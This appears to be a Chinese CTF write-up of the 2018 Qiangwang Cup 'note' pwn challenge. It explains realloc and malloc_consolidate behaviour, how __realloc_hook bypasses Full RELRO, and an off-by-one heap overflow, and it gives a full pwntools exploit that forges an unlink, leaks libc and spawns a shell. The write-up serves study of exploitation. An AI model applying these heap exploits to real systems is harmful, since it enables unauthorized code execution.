背景知识
这个题目同样是2018强网杯线上赛的pwn题—-note，题目可以在这里下载。
这里涉及到两个知识点：
1：malloc_consolidate对fastbin的合并。
2：在程序开启RELRO技术之后，不能对GOT表进行改写的情况下，利用覆盖__realloc_hook来实现控制流劫持。
realloc函数的处理流程
对于realloc函数，我以往的认识大概就是具有对指定地址堆块的重新分配功能。如果新申请的内存大小小于或者等于原先的内存，那么就会返回原先的堆块指针;如果新申请的内存堆块大小大于原先的内存，那么就会新开辟一块内存返回给调用者，并将原先内存的内容拷贝到新申请的内存空间中。
但是，对于realloc是以怎样的步骤来申请新的内存的却不是很清楚。
和以往一样，查看一下源码，这里只关注原先的内存不够用的情况：1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45/* Try to expand forward into top */
if (next == av->top && (unsigned long) (newsize = oldsize + nextsize) >= (unsigned long) (nb + MINSIZE))
{
set_head_size (oldp, nb | (av != &main_arena ? NON_MAIN_ARENA : 0));
av->top = chunk_at_offset (oldp, nb);
set_head (av->top, (newsize - nb) | PREV_INUSE);
check_inuse_chunk (av, oldp);
return chunk2mem (oldp);
}
/* Try to expand forward into next chunk; split off remainder below */
else if (next != av->top && !inuse (next) && (unsigned long) (newsize = oldsize + nextsize) >= (unsigned long) (nb))
{
newp = oldp;
unlink (av, next, bck, fwd);
}
/* allocate, copy, free */
else
{
newmem = _int_malloc (av, nb - MALLOC_ALIGN_MASK);
if (newmem == 0)
return 0; /* propagate failure */
newp = mem2chunk (newmem);
newsize = chunksize (newp);
/*
Avoid copy if newp is next chunk after oldp.
*/
if (newp == next)
{
newsize += oldsize;
newp = oldp;
}
else
{
...........
_int_free (av, oldp, 1);
check_inuse_chunk (av, newp);
return chunk2mem (newp);
}
}
1：检查下一块是否是top chunk，如果是并且top chunk的size满足要求，则直接到top chunk中进行扩展原先的内存。
2：如果第一步不能满足，则检查下一块是否是空闲的chunk，如果是并且size满足要求，则从下一个chunk中进行扩充。
3：如果前两步都不能满足，就只能通过malloc申请新的内存空间，如果新申请的内存是原先内存的下一个chunk，则不进行复制，释放原内存的操作，直接将两块内存合并；如果新申请的内存不是原先内存的下一个chunk，就需要进行复制，释放原先内存的操作。
在第三步进入malloc操作的时候，如果申请的内存过于大，以至于small bins中没有合适的内存块可以供使用，就会触发malloc_consolidate操作，这个操作会将fast bins中的所有chunk都取出来并进行合并。
上文，realloc操作的第三步，会对原先的内存进行free操作，如果原先的内存是属于fast bins的，结合这里的malloc_consolidate操作，会触发unlink操作。
什么是RELRO技术，怎么绕过
RELRO技术就是重定位只读技术，主要是为了防御针对修改GOT表的攻击。
重定位只读分为部分RELRO(Partial RELRO)与完全RELRO(Full RELRO)两种。
部分RELRO:在程序装入后,将其中一些段(如.dynamic)标记为只读,防止程序的一些重定位信息被修改。
完全RELRO:在部分RELRO的基础上,在程序装入时,直接解析完所有符号并填入对应的值,此时所有的GOT表项都已初始化,且不装入link_map与_dl_runtime_resolve的地址(二者都是程序动态装载的重要结构和函数)。
可以看到,当程序启用完全RELRO时,传统的GOT劫持的方式也不再可用。
但完全RELRO对程序性能的影响也相对较大,因为其相当于禁用了用于性能优化的动态装载机制,将程序中可能不会用到的一些动态符号装入,当程序导入的外部符号很多时,将带来一定程度的额外开销。
为了绕过RELRO，我们可以利用__realloc_hook的特性。
修改存在于glibc.data段的记录hook函数的指针变量__realloc_hook，若glibc发现此变量的值不为0，则在进行realloc操作时会直接调用此变量中记录的函数地址，从而达到劫持控制流的目的。1
2
3
4
5
6
7
8
9
10
11
12
13
14void * __libc_realloc (void *oldmem, size_t bytes)
{
mstate ar_ptr;
INTERNAL_SIZE_T nb; /* padded request size */
void *newp; /* chunk to return */
//读取__realloc_hook处的值，如果不为0，则调用读取到的函数
void *(*hook) (void *, size_t, const void *) = atomic_forced_read (__realloc_hook);
if (__builtin_expect (hook != NULL, 0))
return (*hook)(oldmem, bytes, RETURN_ADDRESS (0));
...
...
}
note中的一字节堆溢出漏洞
note开启的安全措施1
2
3
4
5
6
7
8pwndbg> checksec
[*] '/home/pur3uit/ctf/note/note'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fd000)
RUNPATH: '/home/pur3uit/build/build-2.25/lib/'
这是note程序的一些主要操作：1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40void user_function()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(0x3Cu);
title = (char *)malloc(0x28uLL);
printf("welcome to the note %d\n", title - first_chunk);
default_content_size = 120;
content_ptr = (char *)malloc(0x78uLL);
comment = (char *)malloc(0x78uLL);
change_content_limit = 0;
while ( 1 )
{
switch ( start_function() )
{
default:
continue;
case 1:
change_title();
break;
case 2:
change_content();
break;
case 3:
change_comment();
break;
case 4:
show_content();
break;
case 5:
puts("Bye~");
exit(0);
return;
case 6:
exit(0);
return;
}
}
}
note程序提供了一些操作，均涉及到对堆内存的操作，在change_title函数中，存在一个off-by-one漏洞。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27char *change_title()
{
char *result; // rax@4
signed int v1; // eax@5
char v2; // [sp+Bh] [bp-5h]@2
signed int v3; // [sp+Ch] [bp-4h]@1
printf("enter the title:");
v3 = 0;
while ( 1 )
{
v2 = getchar();
if ( (unsigned int)check_badchar(v2) )
break;
if ( v3 > 39 )
{
result = title + 39;
title[39] = 0;
return result;
}
v1 = v3++;
title[v1] = v2;
}
result = (char *)(unsigned __int8)v2;
title[v3] = v2; // 有一个字节发生溢出
return result;
}
check_badchar函数会对输入的字符进行检查，如果输入的字符是预先定义的bad_char，则直接跳出循环。
1 | bad char |
这里存在一个问题，如果在v3等于40的时候，输入一个bad_char，就会发生一字节的溢出。由于title数组存在于堆上，所以会覆盖下一个堆块的size域，结合前面的两个知识点，就可以实现任意地址写操作。
我们可以利用@字符进行溢出。
利用过程
查看bss段的分布，可以发现title数组指针是一个非常好的利用点。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15.bss:0000000000602050 change_content_limit dd ?
.bss:0000000000602050
.bss:0000000000602054 align 8
.bss:0000000000602058 ; char *comment
.bss:0000000000602058 comment dq ?
.bss:0000000000602058
.bss:0000000000602060 ; char *content_ptr
.bss:0000000000602060 content_ptr dq ?
.bss:0000000000602060
.bss:0000000000602068 default_content_size dd ?
.bss:0000000000602068
.bss:000000000060206C align 10h
.bss:0000000000602070 ; char *title
.bss:0000000000602070 title dq ?
.bss:0000000000602070
为了触发unlink，我们需要两个连续的free chunk，通过调试可以发现，title正好是content的前一个chunk。
至此，我们的利用思路就很明显了：
1：在title中伪造一个free chunk，其fd和bk值可以分别为title指针的减24和减16值，并通过off-by-one修改content的size域的inuse位为0。
2：在change_content操作中，可以先通过申请一个很大的内存，使得realloc必须执行上文的第三步，这样会使得原先的content被free掉，成为free状态的fast bin chunk。
3：上面申请的大内存必定和top chunk相邻，因此，这一步也需要再申请一个足够大内存，其大小必须大于top chunk和当前content的大小之和，由于这时fast bin中已经有内容，所以会触发malloc_consolidate操作，对fast bin进行合并，这时就会触发unlink，使得title指针指向了其自身减去24的位置，此时便可以实现任意地址写。
利用代码如下：1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69from pwn import *
import time
p = remote('127.0.0.1',1234)
def title(Title):
p.recvuntil('option--->>\n')
p.sendline(str(1))
p.recvuntil('enter the title:')
p.send(Title)
def content(Size,Content):
p.recvuntil('option--->>\n')
p.sendline(str(2))
p.recvuntil('Enter the content size(64-256):')
p.sendline(str(Size))
p.recvuntil('Enter the content:')
p.send(Content)
def comment(Cmn):
p.recvuntil('option--->>\n')
p.sendline(str(3))
p.recvuntil('Enter the comment:')
p.send(Cmn)
def show():
p.recvuntil('option--->>\n')
p.sendline(str(4))
def exploit():
payload = p64(0)+p64(0x20)+p64(0x602070-0x18)+p64(0x602070-0x10)+p64(0x20)
content(0x68,'A'*0x38+p64(0x41)+'\n')
title(payload+'@')
content(0x5000,'this step is to free one original content chunk\n')
time.sleep(0.5)
content(0x20000,'this step is to unlink\n')
time.sleep(0.5)
title(p64(0x602050)+p64(0x601fd0)+'\n')
show()
p.recvuntil('The content is:')
libc.address = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))-libc.symbols['atoi']
print('The libc base address is:' + hex(libc.address))
__realloc_hook = libc.symbols['__realloc_hook']
print('The realloc_hook address is:'+hex(__realloc_hook))
system = libc.symbols['system']
print('The system address is:'+hex(system))
binsh_addr = next(libc.search('/bin/sh'))
print('The binsh address is:'+hex(binsh_addr))
#这一步会使得之后调用realloc变成调用system
title(p64(__realloc_hook)+'\n')
time.sleep(0.5)
comment(p64(system)+'\n')
time.sleep(1)
title(p64(0x602050)+p64(binsh_addr)+'\n')
time.sleep(1)
comment(p64(0)+'\n')
time.sleep(0.5)
p.recvuntil('option--->>\n')
p.sendline(str(2))
p.recvuntil('Enter the content size(64-256):')
p.sendline('0x100')
libc = ELF('/home/pur3uit/build/build-2.25/lib/libc.so.6')
exploit()
p.interactive()